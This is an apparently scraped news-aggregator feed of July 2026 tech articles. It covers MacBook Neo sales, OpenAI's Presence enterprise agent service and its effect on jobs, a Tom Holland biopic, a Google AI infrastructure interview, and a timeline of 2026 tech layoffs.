<p class="wp-block-paragraph">The third driver is AI. “When you look at it, applications, data security, all on the platform, we do 450 billion inferences per day at 1 millisecond with 8 nines availability,” Kavanaugh said. “We’ve got clients that have already purchased over 50% of our Spire inferencing, and those clients that have purchased that are growing MIPS capacity, the way [we monetize value], by over three times faster than others.”</p>
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<item>
<title><![CDATA[MacBook Neo’s success wasn’t luck, it was a plan]]></title>
<description><![CDATA[It’s difficult to ignore the fact that Apple seems to have turned its MacBook Neo into a weapon to promote platform growth, with enough performance under the hood to make competitors seem inferior.



And even as the PC industry moves to try to compete with Apple’s last huge Mac success, the comp...]]></description>
<link>https://tsecurity.de/de/3689195/ai-nachrichten/macbook-neos-success-wasnt-luck-it-was-a-plan/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689195/ai-nachrichten/macbook-neos-success-wasnt-luck-it-was-a-plan/</guid>
<pubDate>Thu, 23 Jul 2026 15:22:56 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">It’s difficult to ignore the fact that Apple seems to have <a href="https://www.computerworld.com/article/4180406/after-a-quick-1-1m-sales-macbook-neo-set-to-reshape-the-pc-industry.html">turned its MacBook Neo into a weapon</a> to promote platform growth, with enough performance under the hood to make competitors seem inferior.</p>



<p class="wp-block-paragraph">And even as the PC industry moves to try to compete with Apple’s last <a href="https://www.applemust.com/macbook-neo-continues-to-top-amazon-laptop-charts-in-us-uk/" target="_blank" rel="noreferrer noopener">huge Mac success</a>, the company is already planning a powerful follow-up.</p>



<p class="wp-block-paragraph">That points to the discipline Apple has applied to the Mac since the introduction of Apple Silicon. The company has built a clear product roadmap, strong entry-level pricing, and steady performance gains. This focus is now paying dividends, giving people the impetus to keep placing their trust in Apple and its Macs — even as the industry raises prices in the face of RAMageddon and price increases. </p>



<h2 class="wp-block-heading"><strong>The numbers don’t lie</strong></h2>



<p class="wp-block-paragraph">“Apple’s recent price increase seems to be an inevitable response to these cost increases. In the second half of the year, other PC OEMs are expected to continue to raise prices, and the overall ASP increase is expected to continue,” Counterpoint said. The researcher tells us global PC shipments shrank 4% in the second quarter of 2026 as rising costs hit demand. The Mac maker, by contrast, moved in the opposite direction, generating 13% growth in the quarter — mainly on the back of the MacBook Neo introduction. </p>



<p class="wp-block-paragraph"><a href="https://www.idc.com/resource-center/press-releases/2q26-pc-top5/" target="_blank">Recent IDC data</a> gives Apple 10.1% year-over-year growth and just under 10% (9.9% to be exact) of the worldwide PC market, even as the overall market declined 4.9%.</p>



<p class="wp-block-paragraph">“With emerging supply chain and tariff challenges inflating memory prices…, Apple’s incredibly aggressive price-point for the MacBook Neo makes its release feel all the more like a gut punch to one of the PC market’s most valuable price tiers,” Futurum Research Director <a href="https://www.computerworld.com/article/4143010/apples-macbook-neo-first-reviews-and-analyst-reactions.html" data-type="link" data-id="https://www.computerworld.com/article/4143010/apples-macbook-neo-first-reviews-and-analyst-reactions.html">Olivier Blanchard said when the Neo was released</a>. </p>



<h2 class="wp-block-heading"><strong>Neo 2.0 is already coming</strong></h2>



<p class="wp-block-paragraph">In the immediate future, as competitors raise prices on the PCs that compete with Apple’s lower-cost device, Cupertino is <a href="https://www.culpium.com/p/apple-in-talks-to-boost-mac-neo-production" target="_blank" rel="noreferrer noopener">already plotting</a> the path toward <a href="https://www.bloomberg.com/news/articles/2026-07-22/apple-to-launch-new-macbook-air-imac-macbook-pro-neo-mac-mini-mac-studio" target="_blank" rel="noreferrer noopener">MacBook Neo 2.</a> Reports claim this will debut in March in new colors and use the A19 Pro chip from the iPhone 17 Pro, with performance boosted by slightly more unified memory (12GB, rather than 8GB). That’ll make it a much better Mac, likely with 10-15% performance gains and the ability to run Apple Intelligence, making it the best and most affordable AI PC in its class.</p>



<p class="wp-block-paragraph">Just four months after the Neo’s rollout, Apple is already in position to leak rumors of an even more computationally capable follow-up, while competitors struggle to compete with the original on performance, build quality, and price. Still, the Neo might get more expensive, reporting warns, with the lowest-price 256GB model now gone, making the $599 Mac a mirage we can only wistfully hope to see again. </p>



<p class="wp-block-paragraph">That might matter less in context, as PC makers everywhere boost prices while RAM, chips, and storage prices head north, along with transport, logistics, and energy costs. “While [Apple] did raise prices in line with the broader market, it still remains well positioned against rivals facing the same cost pressures,” said Jean Philippe Bouchard, vice president for consumer devices at IDC. </p>



<p class="wp-block-paragraph">“As market conditions continue to worsen, the importance of supply chain management and capabilities are increasingly important,” Bouchard said. “The largest vendors, with their buying power and long-standing supplier ties, are best positioned to take share from smaller rivals.”</p>



<h2 class="wp-block-heading"><strong>This was never about luck</strong></h2>



<p class="wp-block-paragraph">This isn’t solely a market take about competition, it’s about planning.</p>



<p class="wp-block-paragraph">Few in the industry seemed prepared for the massive memory price increases that hit this year. Apple clearly planned its low-cost Mac well before that happened, hoping to seize the PC market at the low-mid-range. This is precisely what it seems to have done, what it continues to do, and what it will continue to do.</p>



<p class="wp-block-paragraph">The recent reports that it has a successor planned shows the breadth of the Mac company’s strategic vision, as Apple has quite clearly sought to fully exploit the failings of Windows and the internal contradictions of a value-conscious industry in stiff competition with itself.</p>



<p class="wp-block-paragraph">With the first M-series Macs about to enter the replacement cycle, Apple has built a market it can capitalize on for at least a decade, meaning it already has a vision for PC sales that extends at least as far. That’s the kind of road map corporate purchasers want when they make platform deployment decisions, which is why Apple’s 10% share gains are the beginning of <a href="https://www.computerworld.com/article/4150717/hexnode-ceo-macbook-neo-forces-it-to-rethink-its-budget-laptop-strategy.html">even more significant market change</a>. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to my daily Apple-related news summaries at <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
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<title><![CDATA[OpenAI Presence raises new questions about enterprise automation and jobs]]></title>
<description><![CDATA[OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.



The agents can answer questions and operate IT systems, and enterprises can decide w...]]></description>
<link>https://tsecurity.de/de/3689165/it-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689165/it-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</guid>
<pubDate>Thu, 23 Jul 2026 15:20:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.</p>



<p class="wp-block-paragraph">The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.</p>



<p class="wp-block-paragraph">OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.</p>



<p class="wp-block-paragraph">Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.</p>



<p class="wp-block-paragraph">OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.</p>



<p class="wp-block-paragraph">Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected <a href="https://www.computerworld.com/article/4136024/openai-partners-with-consulting-giants-to-deploy-enterprise-ai-agents.html">global systems integrators</a>.</p>



<p class="wp-block-paragraph">Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.</p>



<h2 class="wp-block-heading">Workforce impact</h2>



<p class="wp-block-paragraph">OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.</p>



<p class="wp-block-paragraph"><a href="https://pareekh.com/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.</p>



<p class="wp-block-paragraph">Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.</p>



<p class="wp-block-paragraph">“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.</p>



<p class="wp-block-paragraph">The first workforce effect is more likely to be <a href="https://www.cio.com/article/4015750/cios-see-ai-prompting-new-it-hiring-even-as-boards-push-for-job-cuts.html">slower hiring than immediate layoffs</a>, according to <a href="https://www.linkedin.com/in/tulikasheel/" target="_blank" rel="noreferrer noopener">Tulika Sheel</a>, senior vice president at Kadence International.</p>



<p class="wp-block-paragraph">“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”</p>



<p class="wp-block-paragraph">Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.</p>



<p class="wp-block-paragraph">However, <a href="https://omdia.tech.informa.com/authors/lian-jye-su" target="_blank" rel="noreferrer noopener">Lian Jye Su</a>, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.</p>



<p class="wp-block-paragraph">Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.</p>



<h2 class="wp-block-heading">Cost and operational risks</h2>



<p class="wp-block-paragraph">Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.</p>



<p class="wp-block-paragraph">“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.</p>



<p class="wp-block-paragraph">The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but <a href="https://www.computerworld.com/article/4128310/openai-responds-to-claude-cowork-with-its-own-platform-to-help-build-deploy-and-manage-ai-agents.html">integration and governance</a>,” Jain added.</p>



<p class="wp-block-paragraph">Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.</p>



<p class="wp-block-paragraph">Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.</p>



<p class="wp-block-paragraph">Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.</p>
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<title><![CDATA[OpenAI Presence raises new questions about enterprise automation and jobs]]></title>
<description><![CDATA[OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.



The agents can answer questions and operate IT systems, and enterprises can decide w...]]></description>
<link>https://tsecurity.de/de/3689164/it-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689164/it-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</guid>
<pubDate>Thu, 23 Jul 2026 15:20:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.</p>



<p class="wp-block-paragraph">The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.</p>



<p class="wp-block-paragraph">OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.</p>



<p class="wp-block-paragraph">Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.</p>



<p class="wp-block-paragraph">OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.</p>



<p class="wp-block-paragraph">Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected <a href="https://www.computerworld.com/article/4136024/openai-partners-with-consulting-giants-to-deploy-enterprise-ai-agents.html">global systems integrators</a>.</p>



<p class="wp-block-paragraph">Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.</p>



<h2 class="wp-block-heading">Workforce impact</h2>



<p class="wp-block-paragraph">OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.</p>



<p class="wp-block-paragraph"><a href="https://pareekh.com/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.</p>



<p class="wp-block-paragraph">Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.</p>



<p class="wp-block-paragraph">“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.</p>



<p class="wp-block-paragraph">The first workforce effect is more likely to be <a href="https://www.cio.com/article/4015750/cios-see-ai-prompting-new-it-hiring-even-as-boards-push-for-job-cuts.html">slower hiring than immediate layoffs</a>, according to <a href="https://www.linkedin.com/in/tulikasheel/" target="_blank" rel="noreferrer noopener">Tulika Sheel</a>, senior vice president at Kadence International.</p>



<p class="wp-block-paragraph">“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”</p>



<p class="wp-block-paragraph">Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.</p>



<p class="wp-block-paragraph">However, <a href="https://omdia.tech.informa.com/authors/lian-jye-su" target="_blank" rel="noreferrer noopener">Lian Jye Su</a>, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.</p>



<p class="wp-block-paragraph">Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.</p>



<h2 class="wp-block-heading">Cost and operational risks</h2>



<p class="wp-block-paragraph">Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.</p>



<p class="wp-block-paragraph">“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.</p>



<p class="wp-block-paragraph">The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but <a href="https://www.computerworld.com/article/4128310/openai-responds-to-claude-cowork-with-its-own-platform-to-help-build-deploy-and-manage-ai-agents.html">integration and governance</a>,” Jain added.</p>



<p class="wp-block-paragraph">Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.</p>



<p class="wp-block-paragraph">Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.</p>



<p class="wp-block-paragraph">Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4200684/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs.html">CIO</a>.</em></p>
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<title><![CDATA[Tom Holland Confirms Fred Astaire Biopic Is His Next Film]]></title>
<description><![CDATA[Tom Holland has confirmed that his long-awaited Fred Astaire biopic will be his next film, with the actor already preparing for its demanding dance sequences.



Tom Holland plans to perform every dance himself



Holland wants to recreate Astaire’s famous performance style as closely as possible...]]></description>
<link>https://tsecurity.de/de/3689153/ios-mac-os/tom-holland-confirms-fred-astaire-biopic-is-his-next-film/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689153/ios-mac-os/tom-holland-confirms-fred-astaire-biopic-is-his-next-film/</guid>
<pubDate>Thu, 23 Jul 2026 15:16:57 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Tom Holland has confirmed that his long-awaited Fred Astaire biopic will be his next film, with the actor already preparing for its demanding dance sequences.



Tom Holland plans to perform every dance himself



Holland wants to recreate Astaire’s famous performance style as closely as possible. He plans to complete all the dancing himself without using body doubles.



The actor also hopes the production can film complete dance routines in a single continuous shot. This approach would keep Holland’s full body visible and allow audiences to watch each movement without frequent cuts.



Holland admitted that the preparation brings both excitement and “absolute dread.” He has already returned to the dance studio and plans to continue intensive training once his current promotional commitments end.



The role also gives Holland an opportunity to use his earlier dance training. Before becoming widely known as Spider-Man, he performed in the stage production of Billy Elliot the Musical in London.



Paul King will direct the Fred Astaire biopic



Paul King, known for directing the Paddington films and Wonka, remains attached to direct the untitled project. The film has been in development since Holland first announced his involvement in 2021.



Earlier reports indicated that the story would explore Astaire’s relationship with his sister and early dancing partner, Adele Astaire. However, official plot details and additional casting information have not been announced.



Production listings currently point to filming beginning in January 2027, although Sony has not confirmed an official release date.



Holland’s decision to avoid doubles will make the Fred Astaire biopic one of his most physically demanding projects. His commitment to long, uninterrupted dance scenes could also help the film capture the style that made Astaire one of Hollywood’s most celebrated performers.]]></content:encoded>
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<title><![CDATA[Q&A: Google’s AI and computing chief talks about its shapeshifting data centers]]></title>
<description><![CDATA[Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data cente...]]></description>
<link>https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</guid>
<pubDate>Thu, 23 Jul 2026 14:55:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data centers. (See related story: <a href="https://www.networkworld.com/article/4200581/google-transforms-its-data-center-architecture-for-agent-era.html">Google transforms its data center architecture for agent era</a>)</p>



<p class="wp-block-paragraph"><em>Network World</em> spoke with <a href="https://www.linkedin.com/in/marklohmeyer/">Mark Lohmeyer</a>, vice president and general manager of AI and computing at Google, about how the company’s infrastructure is keeping pace with AI demand.</p>



<p class="wp-block-paragraph"><strong>Network World: What is the primary shift in infrastructure needs?</strong></p>



<p class="wp-block-paragraph"><strong>Mark Lohmeyer:</strong> We’ve seen the <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">rise of agents and agentic use cases</a>. Years ago, it was the chat phase: Ask a question, get an answer. Now we’re in the agentic era, where you express your intent, agents spin off multiple sub-agents, working in parallel, preserving state. This is a radical shift in what infrastructure needs to do; make them fast, cost effective, secure, reliable. We’re delivering infrastructure optimized for the age of agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the goal of the infrastructure buildout, and what should customers expect regarding costs?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>Ultimately, it’s about enabling customers with leading-edge capabilities and models at scale cost-effectively. With agents, <a href="https://www.networkworld.com/article/4057121/network-and-cloud-implications-of-agentic-ai.html">inference transactions increase</a> by 50x, 100x versus non-agentic workloads. We’re driving the cost per transaction down exponentially. In our latest platforms, we reduce the cost by almost 2x for the same work. Customers serve twice the number of users at the same cost, directly driving profitability.</p>



<p class="wp-block-paragraph"><strong>NW: How are you addressing energy efficiency?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Energy is a critical resource, and Google has optimized for years. We design data centers and compute [to drive] high PUE (power usage effectiveness). We introduced <a href="https://www.networkworld.com/article/4149069/why-ai-rack-densities-make-liquid-cooling-nonnegotiable.html">liquid cooling</a> over five years ago, and these latest systems are all liquid cooled. For agentic workloads, CPUs come to the forefront… orchestrating agents, calling tools, doing evaluation loops in reinforcement learning. Our latest Axion-based CPU platform called <a href="https://www.networkworld.com/article/4086182/google-cloud-aims-for-more-cost-effective-arm-computing-with-axion-n4a.html">N4A</a> has energy efficiency and is significantly better than the prior generation and x86 comparables.</p>



<p class="wp-block-paragraph"><strong>NW: How do you think about token efficiency as you build-out systems?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Performance and efficiency gains are powered by co-design of the model and infrastructure. <a href="https://www.computerworld.com/article/4161990/gemini-enterprise-update-brings-ai-agents-into-collaborative-workflows.html">Gemini</a> is trained on TPUs, primarily served on TPUs with high frontier model capability, in a token and cost-efficient way. This stems from co-design across the full stack.</p>



<p class="wp-block-paragraph"><strong>NW: How do you project what infrastructure will be needed years in advance?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Hardware cycles deliver a new next generation roughly every year, but design cycles are two years or more in advance. We work with <a href="https://deepmind.google/about/">DeepMind</a> doing core research, to application teams taking models into production, to billions of users, to our team building infrastructure. We work upstream with DeepMind and application teams to understand what’s coming. Agents weren’t being broadly spoken of externally, but internally we had those insights around what they would need. That shows up in hardware design. We hit the timing right — these platforms are built for agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the eighth generation TPU platform?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> We deliver new platforms every year, and ones launched years ago are close to 100% utilized because demand for AI-optimized compute is high. The <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">eighth-generation TPU platform</a> is the first delivering two complete systems, from the chip all the way up to the network and storage and software, that are optimized.</p>



<p class="wp-block-paragraph"><a href="https://cloud.google.com/blog/products/compute/tpu-8t-and-tpu-8i-technical-deep-dive">TPU-8t</a> is optimized for training, and TPU-8i is optimized for inference. For TPU-8i, we increased SRAM on the chip to 384MB — three times the prior generation — and increased the HBM by 50%.</p>



<p class="wp-block-paragraph"><strong>NW: How are you approaching GPU and TPU compatibility?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>People in a single cluster do not commingle GPUs and TPUs. We offer both options based on specific workload needs. We’ve been investing on the TPU side in using software frameworks customers are comfortable with on GPUs and enabling those on TPUs. For example, <a href="https://www.infoworld.com/article/2335194/what-is-pytorch-python-machine-learning-on-gpus.html">PyTorch</a> and vLLM. Customers could have a pool of GPUs and TPUs, running vLLM on top of that. Start with a workload on TPUs, but if the TPU pool is fully utilized, spill to GPUs or vice versa. This works because it’s all leveraging the same compatible software layer on top.</p>



<p class="wp-block-paragraph"><strong>NW: How has the orchestration platform changed for agents?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Kubernetes is becoming the orchestration platform of choice for AI. Google is transforming <a href="https://www.infoworld.com/article/2255921/gke-tutorial-get-started-with-google-kubernetes-engine.html">GKE</a> [Google Kubernetes Engine] into an agent-native orchestration solution. When expressing intent to an agent and it spins up multiple sub-agents, compute needs to spin up rapidly — TPUs or GPUs — without long delays, then run and spin back down. We’re optimizing at every layer of the <a href="https://cloud.google.com/kubernetes-engine">GKE stack</a>: significantly improving node startup time and how rapidly we start and stop containers. Lovable demonstrates this with GKE, spinning up hundreds of sandboxes for live coding sessions on their platform in parallel, paying for infrastructure when needed.</p>



<p class="wp-block-paragraph"><strong>NW: What is the role of the network and storage infrastructure?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> The network is critical for AI. This requires creating large-scale clusters of GPUs or TPUs and enabling them to talk to each other in a high-performance way. <a href="https://cloud.google.com/blog/products/networking/introducing-virgo-megascale-data-center-fabric">We created the Virgo network</a> — a collapsed network architecture, non-blocking within a data center, where multiple pods or NVLink72 domains connect together.</p>



<p class="wp-block-paragraph">In TPU8T, we can connect over a million TPUs together leveraging Virgo, creating large-scale, high-performance, reliable clusters that shrink innovation cycles. Storage is equally critical. In large-scale clusters, something is always failing. The ability to take snapshots and go back to a checkpoint is important.</p>



<p class="wp-block-paragraph">We’ve introduced <a href="https://cloud.google.com/products/managed-lustre">Managed Lustre 10T</a>, with 10 terabytes per second of bandwidth, 18 petabytes of storage in single clusters. This is 10 times faster than last year and 20 times faster than competition. We have Rapid Bucket, low-latency storage backed by Google storage systems. Both are impactful in large-scale training environments.</p>



<p class="wp-block-paragraph"><strong>NW: How does KV cache strategy differ between training and inference?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> For <a href="https://blog.google/innovation-and-ai/infrastructure-and-cloud/google-cloud/eighth-generation-tpu-agentic-era/">TPU-8i</a>, we increased SRAM on the chip to 384 megabytes — three times the prior generation — and increased the HBM by 50%. Storing KV cache directly in chip memory allows responding to inference requests much more rapidly and cost-effectively than going to an external system. For inference workloads, storing as much KV cache as possible on-chip is critical.</p>



<p class="wp-block-paragraph">We’re introducing a dedicated KV cache storage subsystem that works across GPUs and TPUs. As KV caches get larger, being able to fall back to this dedicated subsystem becomes critical. Loading model weights rapidly is important in dynamic inference environments where accelerators switch between models hour by hour.</p>
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<title><![CDATA[Tech layoffs: A 2026 timeline]]></title>
<description><![CDATA[Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented ev...]]></description>
<link>https://tsecurity.de/de/3689055/it-nachrichten/tech-layoffs-a-2026-timeline/</link>
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<pubDate>Thu, 23 Jul 2026 14:35:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
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<p class="wp-block-paragraph">Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.</p>



<p class="wp-block-paragraph">But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.</p>



<p class="wp-block-paragraph">According to data compiled by <a href="https://layoffs.fyi/" target="_blank" rel="noreferrer noopener">Layoffs.fyi</a>, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.</p>



<p class="wp-block-paragraph">Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.</p>



<h2 class="wp-block-heading">Notable tech layoffs in 2026</h2>



<ul class="wp-block-list">
<li>Monday.com</li>



<li>Microsoft</li>



<li>Meta</li>



<li>Cisco</li>



<li>Cloudflare</li>



<li>Oracle</li>



<li>Atlassian </li>



<li>Salesforce</li>



<li>Amazon</li>



<li>Ericsson</li>
</ul>



<h3 class="wp-block-heading">July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era</h3>



<p class="wp-block-paragraph">The company says the decision to <a href="https://www.computerworld.com/article/4200349/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era-2.html">cut 620 jobs</a> isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.</p>



<h3 class="wp-block-heading">July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams</h3>



<p class="wp-block-paragraph">As the company <a href="https://www.computerworld.com/article/4193532/microsoft-bets-that-enterprise-ai-needs-engineers-not-bigger-sales-teams-2.html" target="_blank">trims thousands of jobs</a>, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees <a href="https://www.computerworld.com/article/4163188/microsoft-to-offer-voluntary-retirement-buyouts-to-about-7-of-the-us-workforce.html">voluntary retirement buyouts</a>.</p>



<h3 class="wp-block-heading">June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024</h3>



<p class="wp-block-paragraph">AI was blamed for 40% of <a href="https://www.computerworld.com/article/4181822/tech-industry-cut-38242-jobs-in-may-worst-since-2024.html">the job cuts in May</a>, up from 7% in January, according to research by employment placement company Challenger, Gray &amp; Christmas.</p>



